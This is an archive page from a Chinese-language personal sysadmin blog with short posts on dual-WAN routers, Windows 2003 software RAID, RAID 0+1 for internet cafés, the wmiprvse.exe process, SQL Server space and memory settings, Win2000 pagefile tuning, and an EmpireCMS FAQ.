Archive for the "工作手记" Category

19
May

双WAN口路由器

Author: 比比巴儿

DI-602LB 智能型双WAN口宽带路由器

DI-604LB+ 企业级智能宽带路由器

D-link 604L+ 不错,我机房里能带100多台机子。有MAC和IP绑定及流量限制,我是原来的型号,升级了IOS。网站里有资料。

60台以下的用TP的478+或者4238都可以 .要是70台以上带起来比较费劲.

我是开网吧的,我这里用的是TP-Link4238,感觉不错

TP-Link TL-R4238可以了,再便宜点的TP-Link TL-R478+,也能全部满足你的需要,4238用过三个,没问题,478+用过8个完全没问题!公司,网吧都适用

13
May

大家知道,硬件RAID解决方案速度快、稳定性好,可以有效地提供高水平的硬盘可用性和冗余度,但是居高不下的价格实在令人可畏。不过可庆幸的是,Windows 2003提供了内嵌的软件RAID功能,并且软RAID可以实现RAID-0、RAID-1、RAID-5。

软RAID不仅实现上非常方便,而且还大量地节约了宝贵的资金,确实是Windows 2003 Server的一个很实用的新功能。RAID-5 卷是数据和奇偶校验间断分布在三个或更多物理磁盘的容错卷。

如果物理磁盘的某一部分失败,我们可以用余下的数据和奇偶校验重新创建磁盘上失败的那一部分上的数据。对于多数活动由读取数据构成的计算机环境中的数据 冗余来说,RAID-5 卷是一种很好的解决方案。可使用基于硬件或基于软件的解决方案来创建 RAID-5卷。通过基于硬件的 RAID,智能磁盘控制器处理组成RAID-5卷的磁盘上的冗余信息的创建和重新生成。

Windows Server 2003 家族操作系统提供基于软件的 RAID,其中RAID-5卷中的磁盘上的信息的创建和重新生成将由“磁盘管理”来处理,两种情况下数据都将跨磁盘阵列中的所有成员进行存储。当然,软 RAID的性能和效率是不能与硬RAID相提并论的。下面我们首先从动态磁盘的创建谈起,然后说明在Windows 2003 Server 实现如何实现软RAID,最后讲一下软RAID的管理。

创建动态磁盘

在安装Windows 2003 Server时,硬盘将自动初始化为基本磁盘。我们不能在基本磁盘分区中创建新卷集、条带集或者RAID-5组,而只能在动态磁盘上创建类似的磁盘配置。 也就是说,如果想创建RAID-0、RAID-1或RAID-5卷,就必须使用动态磁盘。在Windows 2003 Server安装完成后,可使用升级向导将它们转换为动态磁盘。

在将一个磁盘从基本磁盘转换为动态磁盘后,磁盘上包含的将是卷,而不再是磁盘分区。其中的每个卷是硬盘驱动器上的一个逻辑部分,还可以为每个卷指定一个驱动器字母或者挂接点。但是要注意的是只能在动态磁盘上创建卷。动态磁盘有以下几个优于基本磁盘的特点:

卷可以扩展到包含非邻接的空间,这些空间可以在任何可用的磁盘上。对每个磁盘上可以创建的卷的数目没有任何限制。

Windows 2003将动态磁盘配置信息存储在磁盘上,而不是存储在注册表中或者其他位置。同时,这些信息不能被准确地更新。Windows 2003将这些磁盘配置信息复制到所有其他动态磁盘中。因此,单个磁盘的损坏将不会影响到访问其他磁盘上的数据。

一个硬盘既可以是基本的磁盘,也可以是动态的磁盘,但不能二者兼是,因为在同一磁盘上不能组合多种存储类型。但是,如果计算机有多个硬盘,就可以将各个硬盘分别配置为基本的或动态的。

 1、从基本磁盘升级到动态磁盘:

①依次单击“开始”->“所有程序”->“管理工具”->“计算机管理”选项,显示“计算机管理”窗口。

②在左侧控制台中依次展开“存储”->“磁盘管理”选项,以显示计算机中安装的所有磁盘。

③右击要设置为动态磁盘的硬盘,并在弹出的快捷菜单中选择“升级到动态磁盘”选项,将显示“升级到动态磁盘”对话框。

④选中要升级的磁盘,然后单击“确定”:按钮,将显示“要升级的磁盘”对话框,在这里要求用户对要升级为动态磁盘的硬盘进行确认。这样做的原因很简单,因为这一升级操作是不可逆的。也就是说,基本磁盘可以升级为动态磁盘,但动态磁盘却不能恢复为基本磁盘。

⑤单击“升级”按钮,将显示“磁盘管理”提示框,系统再次要求用户对磁盘升级予以确认。当将该磁盘升级为动态磁盘后,Windows98/Me等操作系统将不能再从该磁盘引导启动。

⑥单击“是”按钮,将显示“升级磁盘”警告框。在这里提示要升级磁盘上的文件系统将被强制卸下,并要求用户对该操作进一步予以确认。

⑦单击“是”按钮,系统将开始磁盘的升级过程。当升级完成后,将显示 “确认”警告框,单击“确定”按钮将重新启动计算机,以完成磁盘的升级过程。

在升级到动态磁盘时,应该注意以下几个方面的问题:

必须以管理员或管理组成员的身份登录才能完成该过程。如果计算机与网络连接,则网络策略设置也可能阻止我们完成此步骤。

将基本磁盘升级到动态磁盘后,就再也不能将动态卷改回到基本分区。这时惟一的方法就是,必须删除磁盘上的所有动态卷,然后使用“还原为基本磁盘”命令。

在升级磁盘之前,应该关闭在那些磁盘上运行的程序。

为保证升级成功,任何要升级的磁盘都必须至少包含1MB的未分配空间。在磁盘上创建分区或卷时,“磁盘管理”工具将自动保留这个空间,但是带有其他操作系统创建的分区或卷的磁盘上可能就没有这个空间。

扇区大小超过512字节的磁盘,不能从基本磁盘升级为动态磁盘。

一旦升级完成,动态磁盘就不能包含分区或逻辑驱动器,也不能被非Windows 2003的其他操作系统所访问。

 2、将新磁盘设置为动态磁盘

①计算机安装新硬盘后,当第一次访问“计算机管理”中的“磁盘管理”工具时,将自动运行“写入签名和升级磁盘向导”窗口。

②单击“下一步”按钮,将显示“选择要写入签名的磁盘”页面,在该列表中选择要写入签名的磁盘。需要注意的是,磁盘在安装到系统前必须进行签名。

③单击“下一步”按钮,将显示“选择要升级的磁盘”页面,选择要升级为动态磁盘的磁盘。

④单击“下一步”按钮,将显示“完成写入签名和升级磁盘向导”页面,在这里要求确认签名并升级的磁盘。如果有任何不妥,可单击“上一步”按钮返回并重新进行设置。

⑤单击“完成”按钮,动态磁盘升级过程完成。

实现软RAID

软RAID也必须在多磁盘系统中才能实现。实现RAID-1最少要拥有两块硬盘,而实现RAID-5则最少要拥有三块硬盘。通常情况下,操作系统所在磁盘采用RAID-1,而数据所在磁盘采用RAID-5。

1、卷的类型

 ①简单卷

简单卷由单个物理磁盘上的磁盘空间组成,它可以由磁盘上的单个区域或链接在一起的相同磁盘上的多个区域组成。可以在同一磁盘中扩展简单卷或把简单卷扩展到其他磁盘。如果跨多个磁盘扩展简单卷,则该卷就是跨区卷。

只能在动态磁盘上创建简单卷。简单卷不能包含分区或逻辑驱动器,也不能由MS-DOS 或Windows 2003以外的其他Windows操作系统访问。如果网络中的计算机还在运行Windows98或更早版本,那么应该创建分区而不是动态卷。

如果想在创建简单卷后增加它的容量,则可通过磁盘上剩余的未分配空间来扩展这个卷。要扩展一个简单卷,则该卷必须使用Windows 2003中所用的NTFS版本格式化。同时不能扩展基本磁盘上作为以前分区的简单卷。也可将简单卷扩展到同一计算机的其他磁盘的区域中。当将简单卷扩展到 一个或多个其他磁盘时,它会变成为一个跨区卷。在扩展跨区卷之后,不删除整个跨区卷便不能将它的任何部分删除。要注意的是跨区卷不能是镜像卷或带区卷。

 ②条带卷

利用条带卷,可以将两个或者更多磁盘(最多为32块硬盘)的空余空间组成为一个卷。在向条带卷中写入数据时,数据被分割为64KB的块,并均衡地分布在 阵列中的所有磁盘上。一个阵列是两个或者多个磁盘的集合。条带卷可以有效地提高磁盘的读取性能,但是它并不提供容错功能,任何一块硬盘的损坏都会导致全部 数据的丢失。条带卷类似于RAID-0。

③跨越卷

利用跨越卷,也可以将来自两个或者更多磁盘(最多为32块硬盘)的空余磁盘空间组成为一 个卷。与条带卷所不同的是,将数据写入跨越卷时,首先填满第一个磁盘上的空余部分,然后再将数据写入下一个磁盘,依次类推。虽然利用跨越卷可以快速增加卷 的空量,但是跨越卷既不能提高对磁盘数据的读取性能,也不提供任何容错功能。当跨越卷中的某个磁盘出现故障时,存储在该磁盘上的所有数据将全部丢失。

 ④镜像卷

利用镜像卷即RAID-1卷,可以将用户的相同数据同时复制到两个物理磁盘中。如果其中的一个物理磁盘出现故障,虽然该磁盘上的数据将无法使用,但系统 能够继续使用尚未损坏而仍继续正常运转的磁盘进行数据的读写操作,从而通过另一磁盘上保留完全冗余的副本,保护磁盘上的数据免受介质故障的影响。

由此可见,镜像卷的磁盘空间利用率只有50%(即每组数据有两个成员),所以镜像卷的成本相对较高。要创建一个镜像卷,必须使用另一磁盘上的可用空间。 动态磁盘中现有的任何卷(甚至是系统卷和引导卷),都可以使用相同的或不同的控制器镜像到其他磁盘上大小相同或更大的另一个卷。最好使用大小、型号和制造 厂家都相同的磁盘作镜像卷,以避免可能产生的兼容性错误。

镜像卷可以大大地增强读性能,因为容错驱动程序同时从两个磁盘成员中同时读 取数据,所以读取数据的速度会有所增加。当然,由于容错驱动程序必须同时向两个成员写数据,所以它的写性能会略有降低。镜像卷可包含任何分区(包括启动分 区或系统分区),但是镜像卷中的两个硬盘都必须是Windows 2003动态磁盘。

  ⑤RAID-5卷

在RAID-5卷中,Windows 2003通过给该卷的每个硬盘分区中添加奇偶校验信息带区来实现容错。如果某个硬盘出现故障,Windows 2003便可以用其余硬盘上的数据和奇偶校验信息重建发生故障的硬盘上的数据。

由于要计算奇偶校验信息,所以RAID-5卷上的写操作要比镜像卷上的写操作慢一些。但是,RAID-5卷比镜像卷提供更好的读性能。其中的原因很简 单,Windows 2003可以从多个磁盘上同时读取数据。与镜像卷相比RAID-5卷的性价比较高,而且RAID-5卷中的硬盘数量越多,冗余数据带区的成本越低。但是 RAID-5卷也有一些限制。第一,RAID-5卷至少需要3个硬盘才能实现,但最多也不能超过32个硬盘;第二,RAID-5卷不能包含根分区或系统分 区;

 2、实现软RAID

①在“磁盘管理”中,右击要设置软RAID的硬盘,并在快捷菜单中选择“创建卷”选项,将显示“创建卷向导”窗口。

②单击“下一步”按钮,将显示“选择卷类型”页面,在这里选择要创建的卷类型。通常情况下,为了保障数据的安全,应当选择采用RAID-1或RAID-5卷。

③单击“下一步”按钮,将显示“选择磁盘”页面。在左侧“所有可用的动态磁盘”列表框中选择要添加的磁盘,并单击“添加”按钮,即可将其添加至该RAID-5卷,并显示在“选定的动态磁盘”列表框中。

④动态磁盘添加安毕后,单击“下一步”按钮,将显示“指派驱动器号和路径”页面。选中“指派驱动器号”选项,并为该RAID-5卷指派驱动器号,以便于管理和访问。

⑤单击“下一步”按钮,显示“卷区格式化”页面。选择“按下面提供的信息格式化这个卷”选项,并采用默认的NTFS文件系统和分配单位大小。可以为该RAID-5卷指定一个卷标,以用于与其他卷相区别。

⑥单击“下一步”按钮,将显示“完成创建卷向导”页面,此时卷的创建完成。

⑦单击“完成”按钮,系统将自动格式化新创建的卷。至此,RAID-5卷已创建完成。

 RAID卷的管理

1、添加镜像卷

对于已有的动态磁盘,可以简单地通过添加镜像卷的方式来提高数据的安全性。

在“磁盘管理”中,右击要添加镜像磁盘的动态磁盘,并在快捷菜单中选择“添加镜像”选项,此时将显示“添加镜像”对话框。在磁盘列表中选择要设置为镜 像的动态磁盘,然后单击“添加镜像”按钮,至此镜像添加完成,需要注意的是,添加为镜像的磁盘空间必须大于或等于现存卷。

 2、测试镜像系统或启动卷

关闭计算机,然后断开或关闭某个磁盘以模拟磁盘故障,使用剩余镜像来重新启动计算机。验证 Windows 可正确启动后,请关闭计算机然后重新连接磁盘,重新启动计算机。启动菜单出现时,选择仍保持连接状态的磁盘上的镜像。打开计算机管理(本地),在控制台树 中单击“磁盘管理”,右键单击具有任一标有“失败的重复”的卷的磁盘,然后单击“重新激活磁盘。

 3、重新激活 RAID-5 磁盘

如果 I/O 错误是暂时的,则可以尝试重新激活磁盘;打开计算机管理(本地),在控制台树中单击”磁盘管理“。右键单击局部出现故障的磁盘,然后单击”重新激活磁盘“,RAID-5 卷的状态应变为”正在重新生成“,然后变为”良好“。

 4、软RAID的恢复

   磁盘冗余的目的就在于当磁盘出现故障时,系统能够保存数据的完整性。虽然在RAID-1和RAID-5中某个磁盘成员的失败不会导致丢失数据,其他成员 仍然可以继续运转,但是如果失败不能得到及时恢复,那么磁盘卷将不再拥有冗余的特性。因此,必须及时恢复失败的RAID-1和RAID-5。

 修复镜像卷和RAID-5卷

在”磁盘管理“中,失败卷的状态将显示为”失败的冗余“,磁盘之一将显示为”脱机“、”丢失“或”联机(错误)“。可以通过下述操作来恢复镜像卷:

①确保该磁盘已连接到了计算机,并且已经加电。

②在”磁盘管理“中,右击标识为”脱机“、”丢失“或”联机(错误)“的磁盘,然后在快捷菜单中单击”重新激活磁盘“选项。此时该磁盘的状态应当回到”良好“,同时镜像卷应该自动重新生成。

如果磁盘被严重破坏或者不可能修复,在弹出的快捷菜单中将只能看到”删除“命令,此时Windows 2003将无法再修复该镜像卷。另外,如果磁盘连续显示”联机(错误)“,则有可能表明该磁盘很快就要发生故障了,应当尽可能快地替换该磁盘。

替换磁盘和创建新的镜像卷

如果经修复仍未能重新激活镜像磁盘,或者镜像卷的状态没有恢复到”良好“状态,就必须替换失败磁盘,并创建新的镜像卷。

①在失败的卷上右击鼠标,并选择”删除镜像“选项,将显示”删除镜像“对话框。

②从磁盘列表中选择丢失的磁盘,然后单击”删除镜像“按钮,将显示”磁盘管理“警告框,以提示用户确认。

③单击”是“按钮,将删除该镜像卷。然后右击该丢失的磁盘,并在弹出的快捷菜单中选择”删除磁盘“选项,将该磁盘删除。

④更换新的磁盘,并将磁盘设置为动态磁盘。

⑤创建新的镜像卷。新镜像卷的创建过程请参见前述”添加镜像卷“。

 3)替换磁盘和重新生成RAID-5卷

①更换故障磁盘,并将它设置为动态磁盘。

②在”磁盘管理“中,右击失败磁盘的RAID-5卷,在弹出的快捷菜单中选择”恢复卷“选项,将显示”修复RAID-5卷“对话框。

③选择要在RAID-5卷中替换失败磁盘的磁盘,并单击”确定“按钮。此时RAID-5卷开始自动修复。

④右击失败的磁盘,并在弹出的快捷菜单中选择”删除磁盘“选项,并从系统中删除该磁盘。

13
May

随着网吧规模扩大,网吧电脑数量也会相应增加,上网的顾客也随之增多,服务器硬盘数据存取的速度将会成为新的瓶颈,很多顾客开始投诉服务器点播的电影比较 卡、游戏升级速度慢等问题,倘若不采取相关措施,那么好不容易扩大的经营将毁于一旦。
那么如何解决硬盘存取速度的瓶颈呢?用多个硬盘组建RAID阵列将是一个较佳的解决方案。然而许多网管由于缺少实际经验,对于RAID技术只有含糊的概念,所以小编特别编写了本文,与大家一起分享RAID基础知识与最常用的RAID 0+1组建实例。
RAID英文全称为Redundant Array of Inexpensive Disks,中文译为廉价磁盘冗余阵列。它实质是使用多块物理硬盘组成一个具有加速、自动备份、数据损毁恢复等功能的逻辑硬盘。
为了满足不同工作环境的需要,RAID技术分为了以下RAID 0-7计合8种。每种阵列都各自有其自身优点与缺点,例如RAID 1阵列强调磁盘的数据的安全性、RAID 0阵列提高访问速度、RAID 5阵列兼顾速度与的安全等。下面就来看看常用阵列的具体特点。
  常用RAID阵列类型
 RAID 0

RAID 0阵列即(Data Stripping)数据分条阵列,其主要的特点是存取的数据都被分割成为条状(stripped)分布存放在各个物理磁盘上。这样处理的优点是可以并行 存取,从而获得双倍或多倍存取速度。其中最简单的RAID 0阵列,使用两块硬盘提供双倍传输速度,假如阵列卡能支持多块硬盘组成RAID 0,那么则可以获得N倍(N为加入阵列的硬盘数量)传输速度。
这种阵列的缺点是数据安全比较脆弱,只要阵列内某一硬盘出现故障,所有的数据将 全部丢失。因而,为了在数据脆弱性与速度之间取得较好的平衡,实际使用时RAID 0通常只使用两块硬盘,获得双倍传输速度同时稳定性下降一半,用于存放视频点播文件、临时文件等对安全性要求不高的数据。
   RAID 1
RAID 1阵列即(Data Mirror)数据镜像阵列,其主要特点在提供了较为优异的数据安全保障。整个阵列至少需要两块硬盘组建,在写入时同时将数据备份至另一块硬盘,所以即使 其中一块硬盘出现故障而造成数据损坏时,文件也不会丢失。但是其代价就是的阵列内半数硬盘用于即时镜像备份,容量为阵列内硬盘总容量的一半,而且速度没有 任何提升。
   RAID 0+1
为了把RAID 0的快速存取特点与RAID 1数据安全的优点结合起来,人们还设计了RAID 0+1阵列。这种阵列最少需要4个硬盘才能创建。其中两块硬盘用来存取数据,两块硬盘用于镜像数据。用于存放数据两块硬盘被划分为条状并行存取,这样可以 获得双倍数据存取的速度,而另两个硬盘则即时为条状并行存取的硬盘制作镜像,以确保任意一块盘出现了故障,也不会导致数据丢失。
由于兼顾到了存取速度和数据的安全,所以这种阵列在网吧、小型企业中使用非常广泛。
   RAID 3和RAID 5
RAID 3和RAID 5都采用了校验的数据存储方式,所不同的是RAID 3采用了一块物理硬盘专门来存放校验的数据,而存放数据的硬盘却有好几个硬盘同时并行工作,不管是每一个硬盘的数据进行修改,校验的数据硬盘也会同时跟着 改动,这就导致了校验硬盘工作负担过重,影响数据的存储效率,而RAID 5刚好相反,它把校验数据切成块存放在各个硬盘上这样就可以解决校验数据存放的瓶颈。
由于RAID 5的阵列卡价格较为高昂,所以该种阵列目前仅在大型企业中使用,而鲜有被网吧采用。
  RAID 0+1实战
了解各种RAID阵列之后,接下来就网吧中常用的RAID 0+1的设置为例子,图解介绍整个设置过程。
首先要准备四块硬盘、一台具有空白PCI卡或PCI-E插槽的电脑(根据RAID卡的接口不同而定)、一块RAID卡(假如主板已经集成了RAID卡则不需要)。
图1

安装RAID卡至主板,将四块硬盘连接至RAID卡的数据接口上。开启电脑,并依说明书进入RAID设置画面。本例所使用的TRAK100阵列卡,使用“Tab”按键作为设置热键,所以按“Tab”键,即可进入RAID设置画面。
进入RAID设置环境之后,按3键选择“Define Array”选项,进入RAID定义窗口。
图2

在RAID定义窗口按下“Enter”按键,进入RAID编辑窗口,在编辑窗口中可以设置RAID的模式,需要特别注意的是,许多RAID卡为用户提供 的模式均使用存储模式表达,其中“Stripe”条状存储存则为RAID 0模式;“Mirror”表示RAID 1;而“Mirror/Stripe”则表示RAID0+1的模式。用户可以使用空格键切换RAID的模式,这里选择 “Mirror/Stripe”模式,并把通道中的四个硬盘设置为“Y”状态。设置完成之后按下“Ctrl+Y”保存设置的结果。
图 3

需要特别提示的是,使用少于4个硬盘不能设置RAID 0+1的模式,并且不会出现“Mirror/Stripe”的选择模式。
设置的完成后,可以看到硬盘的整个容量达到了80G,这是根据RAID 0+1的功能特点得出的。它的容量为最小硬盘基数的两倍,由于笔者使用的硬盘中最小的是40G,因此设置完成之后,容量为40G*2,如果使用的是4个 80G的硬盘,那么设置“Mirror/Stripe”模式的结果应该是2*80G。
图 4

按下“Esc”按键,退出设置窗口,在弹出的提示对话框中输入“Y”表示确定设置,并且重新启动系统。
图 5

重启系统之后,会显示RAID的设置结果,其中包含工作模式、阵列总容量大小、还有状态等。至此,用户就可以在阵列上分区、安装系统、软件以及进行其他操作了。对于操作系统而言,整个一个阵列就相当于一个硬盘。

假如某一硬盘出现了故障,那么只需要找出损毁的硬盘,再在RAID定义窗口中选择2,Rebuild RAID即可重建阵列。

13
May

在正常情况下,wmiprvse.exe是Windows操作系统的一部分,存在位置为C:\system32\wbem\wmiprvse.exe。其作用是通过WinMgmt.exe程序处理WMI操作,是一个关键进程。wmiprvse.exe WMI 包括对象储备库和 CIM 对象管理器。对象管理器负责处理储备库中对象的收集和操作并从WMI provider (在WMI 和操作系统、应用程序以及其他系统的组件之间充当中介)收集信息。简单来说,运行管理工具中的某个应用程序的时候,在系统进程管理中可以看到 wmiprvse.exe进程。

wmiprvse.exe 有可能会被病毒修改,如果发现 不存在于上述目录中,则有可能是病毒文件。如用Visual C++编写的IRCBot蠕虫病毒就是一个例子,他运行之后会实现自身复制,并给系统开启后门。这这种情况下,杀毒软件都可以识别出来并查杀,因此无需过于担忧。

12
May

查看SQL Server各表空间大小

Author: 比比巴儿

select name,SIZE = sum(reserved) * CONVERT(FLOAT, (SELECT LOW FROM MASTER.DBO.SPT_VALUES WHERE NUMBER = 1 AND TYPE = ‘E’)) /1024.00/1024.00

from sysindexes

where indid in (0,1,255)

GROUP BY name
ORDER BY SIZE DESC

12
May

在SQL Server,简单的组合sp_spaceused和sp_MSforeachtable这两个存储过程,可以方便的统计出用户数据表的大小,包括记录总数和空间占用情况,非常实用,在SqlServer2K和SqlServer2005中都测试通过。

/**//*
1. exec sp_spaceused ‘表名’            (SQL统计数据,大量事务操作后可能不准)
2. exec sp_spaceused ‘表名’, true       (更新表的空间大小,准确的表空大小,但可能会花些统计时间)
3. exec sp_spaceused                    (数据库大小查询)
4. exec sp_MSforeachtable “exec sp_spaceused ‘?’”     (所有用户表空间表小,SQL统计数据,,大量事务操作后可能不准)
5. exec sp_MSforeachtable “exec sp_spaceused ‘?’,true”    (所有用户表空间表小,大数据库慎用)
*/
create table #t(name varchar(255), rows bigint, reserved varchar(20), data varchar(20), index_size varchar(20), unused varchar(20))
exec sp_MSforeachtable “insert into #t exec sp_spaceused ‘?’”
select * from #t
drop table #t

另外还有sp_MSforeachdb可以遍历所有数据库,使用方法详见SQL帮助。

12
May

Win2000虚拟内存优化设置谈

Author: 比比巴儿

谈到虚拟内存,不能不涉及到页面文件(pagefile.sys),所谓页面文件,它的功能是将一部分硬盘空间设置为虚拟内存,从而扩大了可用“内存”空间,以此来满足程序的运行要求。
尽管由于硬盘的读取、传输速率等远远低于内存的速率,容易导致系统工作效率的降低和系统反应的延迟,但相对于花钱买硬件提高系统性能来说,这种以时间和 效率来换取性能的做法还是非常不错的:你可以一分钱不花的拥有1G的虚拟内存,如果真正去买这么1G的内存,你要花多少钱?而且问题的关键是:你的主板能 不能支持1G的物理内存?
Win9x通常是利用安装目录中的Win386.swp这个交换文件来实现虚拟内存的创建。但Win2000采用页 面文件的方式来实现虚拟内存的创建。通常情况下,大家在使用时都是按照系统默认的设置让Windows管理虚拟内存,这样做比较方便,但Windows为 了兼容绝大部分计算机配置,缺省设置的管理方式通常比较保守,因此它的工作效率有时偏低。熟练用户可以对Windows的虚拟内存管理进行优化处理(如自 行定义交换文件的大小、位置等),来尽量获得比较高的工作效率。
Win2000中关于页面文件的管理项目在控制面板中,进入“控制面板” 后选“系统”,然后在“高级/性能选项”中选择“更改”,就进入“虚拟内存”的设置。页面中显示着当前系统所设置的页面文件的大小、所在位置、磁盘可用空 间以及Windows的推荐设置值等,可以结合页面文件的这些属性来优化设置。
一、页面文件的大小
Windows建议页面 文件的最小值(就是初始大小),应该是当前系统内存容量再加上12MB,若计算机系统拥有256MB内存的,就要将页面文件的最小值设置为268MB,这 样才能让操作系统在崩溃或死机前将内存中全部的内容复制到硬盘上。对于内存容量小于256MB的用户,则建议将页面文件的最小值设得更大些,应该大于内存 容量加12MB的数值:
①使用128MB或者更少内存的计算机用户,应该将当前系统内存容量的1.75倍设置为页面文件的最小值;
②那些内存容量在128MB和256MB之间的用户,可以将当前系统容量的1.5倍设置为页面文件的最小值。
当然,将页面文件的最小值设置为大于这些理论值,对于整个系统的运行是没有什么影响的,而且应该会更好些,唯一的损失也许也就是硬盘可用空间会相应的减 少。假如你的硬盘空间比较紧张的话,在设置页面文件时,可以让它不小于系统内存的3/4,这样就可以保证系统比较稳定地运行了。如果你需要经常装卸大软 件,开很多任务,那你还是用回缺省值比较安全,否则将经常性地引起系统崩溃。
至于页面文件的最大值,则可以设置得越大越好,通常建议将它设置 为最小值的2到3倍。你不用在意它的具体设置值。和Win9X系统的页面文件管理相比,Win2000要“智能”得多,它的页面文件是可以自己动态设置 的。它仅在系统需要时才会自动扩充页面的大小,这样可以避免页面文件占用太多的硬盘空间,并避免在复杂操作中因内存不足而出现错误。
二、页面文件的存放位置
Win2000允许通过将页面文件分布到各个不同的物理硬盘上(注意是硬盘而不是分区)的方法来提高系统的执行性能。从理论上讲这样做的确是可行的,但 要注意的是由于各硬盘间可能存在的寻道时间、传输速度等方面的差异而导致的系统性能的下降,因此应该尽量选择速度最快的硬盘来存放页面文件。
另外要注意的是,尽管Win2k也支持在同一硬盘多分区上分别建立页面文件,但这样做非但不能提高系统的性能,反而将明显地降低整个系统的工作效率,这 是由于当操作系统需要读写页面文件时,如果需要读取的内容不在同一个分区的页面文件中时,硬盘磁头将频繁地在各个分区间移动,这将大大降低系统的运行效 率。从实际的使用效果来看,这样做还不如将页面文件只集中存放到一个分区中来的好,因此,建议拥有多硬盘的人应该考虑以下的一些方案:
①多硬盘之间的速度差异不大,可以将页面文件分布到各硬盘上去;
②多硬盘之间的速度差异比较大,则应该将页面文件尽量存放到另外的速度较快的一个(或多个)硬盘上去。对于单硬盘的用户,如果硬盘可用空间允许的话,则应该尽量将页面文件的位置设置在同一个分区中。
三、页面文件的连续性
页面文件的连续性在Win2000的相关设置中并没有相应的显示,但其实很有必要单独“拎”出来谈一谈。连续的页面文件的工作效率将比不连续的高很多, 其中的原因和上面所说的不要将页面文件设置在同一硬盘多个分区的道理是一样的,也是由于硬盘磁头的移动问题,不连续的页面文件也将导致系统在使用虚拟内存 时硬盘磁头频繁地在不连续的扇区间“跳”动,因此应该尽量保证页面文件的连续。
大家可以运行Win2000自带的“磁盘碎片整理程序”并选择其中的“分析”功能来查看页面文件在硬盘上的相应位置,其中“绿色”区域(系统文件)就是页面文件所在位置。也许有些人对于页面文件会出现不连续的情况表示怀疑,那么可以试试下面的操作:
如果你是双系统的话,可以先进入Win9X,将Win2000的页面文件Pagefile.sys剪切到其他分区或者硬盘中,然后再马上粘贴回去,重新 启动系统到Win2000下,运行“磁盘碎片整理程序”分析一下,绿色的区域将被分割为大大小小不同的好几个区域,页面文件这时就是零碎不连续的。
尽管Win2000提供的“磁盘碎片整理程序”要比Win9X下的好用得多,但是对于不连续的页面文件它还是无法进行整理。要进行页面文件碎片整理的 话,需要第三方的相应工具,如Speed Disk等。另外,如果你没有这些工具而且页面文件所在分区或者硬盘不是NTFS格式的话,可以参照测试页面文件不连续情况下的操作方法:
首先从双系统进入Win9X,然后将页面文件剪切到其他分区或者硬盘中,再用Win9X下的磁盘整理工具对相应的分区或者硬盘进行整理,等整理完毕后再将页面文件重新粘贴回去,就可以保证页面文件的连续性了。

12
May

  症状

在具有 2 GB 或更多 RAM 的计算机上,除了 256 MB (SQL Server 7.0) 或 384 MB (SQL Server 2000) 虚拟地址空间之外,SQL Server 在启动过程中保留剩下的所有虚拟地址空间以供缓冲池使用。另外,为了存储数据和过程缓存,SQL Server 使用缓冲池内存为来自 SQL Server 进程的大多数小于 8 KB 的其他内存请求提供服务。剩下的未保留内存准备用于不能从缓冲池得到服务的其他分配。这些分配包括、但不限于以下各项: •SQL Server 创建的所有线程的堆栈和关联的线程环境块。在 SQL Server 创建了所有 255 个工作线程之后,这大约为 140 MB。

•由在 SQL Server 地址空间(根据具体系统而有所不同)中运行的其他 DLL 或进程进行的分配,如: •任何链接的服务器中的 OLE DB 提供程序。

•通过使用 sp_OA 系统存储过程或扩展存储过程加载的 COM 对象。

•加载到地址空间中的任何映像(.exe 或 .dll),这些映像通常使用 20 到 25 MB,但是如果您使用链接的服务器、sp_OA 或扩展存储过程,则这些映像可能使用更多的空间。

•进程堆和 SQL Server 可能创建的任何其他堆。在启动过程中,此空间通常为 10 MB,但是如果您使用链接的服务器、sp_OA 或扩展存储过程,则此空间可能更多。

•来自 SQL Server 进程的大于 8 KB 的分配,例如较大查询计划、网络数据包大小配置选项接近于 8 KB 时发送和接收缓冲区等情况所需要的分配。要查看此数字,请查找在 DBCC MEMORYSTATUS 中报告的 OS Reserved 值,该值是作为 8 KB 页的数目报告的。通常,该值为 5 MB。

•跟踪缓冲池中每个缓冲区状态信息的数组。该值通常约为 20 MB,除非 SQL Server 运行时启用了地址窗口化扩展插件 (AWE),在这种情况下,该值将会显著提高。

在拥有大量数据库的系统上,日志格式化所需的 64 KB 分配可能会占用所有剩余的虚拟内存。这之后的分配将失败,导致本文的“症状”一节中列出的一个或多个错误。

通过使用 -g 启动参数,您可以指示 SQL Server 保留附加的虚拟内存可用,以便这些与日志相关的分配和其他正常分配加在一起也不会用完虚拟地址空间。

下表根据数据库的数目和服务器版本列出 -g 值的一些建议初始值: DatabasesSQL Server 7.0SQL Server 2000

250-g134N/A

500-g185N/A

750-g237N/A

1000-g288-g288

1250-g340-g340

1500-g392-g392

此表是使用列出的典型值进行计算的,并且此计算是基于没有使用链接的服务器活动、sp_OA 或扩展存储过程这一假设的。它还假设您没有使用 AWE 和 SQL 事件探查器。出现以上任意一种情况都需要您增加 -g 的值。

如果服务器上数据库的数目超过此数目,Microsoft 建议您在运行该服务器之前进行慎重的考虑,因为系统上具有如此数目的数据库所需的系统开销将占用缓冲池中的大量虚拟内存,从而可能导致系统整体性能下降。

29
Apr

有很多问题,其实都有说明,或者论坛已经有了解答,但对于新接触的人说,就不一定知道了,把一些常见的问题整理出来(和WC教程的常见问题不太一样)

1。在页面调用评论框和评论
需要在内容页显示评论框的,把评论模板里的评论框复制过来就行了
调用最新评论(默认0条)
<script  type=”text/javascript”  src=/e/pl/more?classid=46&id=84&num=5></script>

2。如何在标题列表后加上评论地址?
用万能标签,评论地址为:  /e/pl?id=84&classid=46

3。信息报错功能调用
/e/DownSys/report?classid=46&id=84

4。免费版指替换内容中的某些值
运行"update    phome_ecms_news    set    newstext=REPLACE(newstext,’原内容’,'新内容’),titlepic=REPLACE(titlepic,’原内容’,'新内容’)
如果只替换内容中的,后面那句可以去掉

5。清除采集时的空白数据
系统设置==执行SQL语句
delete    from    phome_ecms_news    where    newstext    =    ”;

6。清除相同标题的SQL语句
参考这个帖子:http://bbs.phome.net/ShowThread/?threadid=10132&forumid=13

7。修改友情链接,不规则排列(文字)
参考这个帖子:http://bbs.phome.net/ShowThread/?threadid=9250&forumid=13

8,emsinfo标签的多栏目调用如何用?
[ecmsinfo]’15,18,22′,2,0,0,2,13,1[/ecmsinfo]

9,我想改一下分类的目录名称,怎么改?
修改当前分类与子分类的目录(用phpmyadmin改)

10,自定义页面无法显示?

用相对路径
../../info/aboutus.html

11,ECMS一共有多少个表?
免费版有57个左右

12,同一内容,是不是不可以进行第二次采集?

不是,管理节点-》清空

13,采集的时候怎么过滤font之类的标签?

<font[!–ad–]>替换</font>
如果中间文字不要,直接<font[!–ad–]</font>

14,评论调用方法?

<script  src=/e/pl/more?classid=46&id=84&num=10></script>

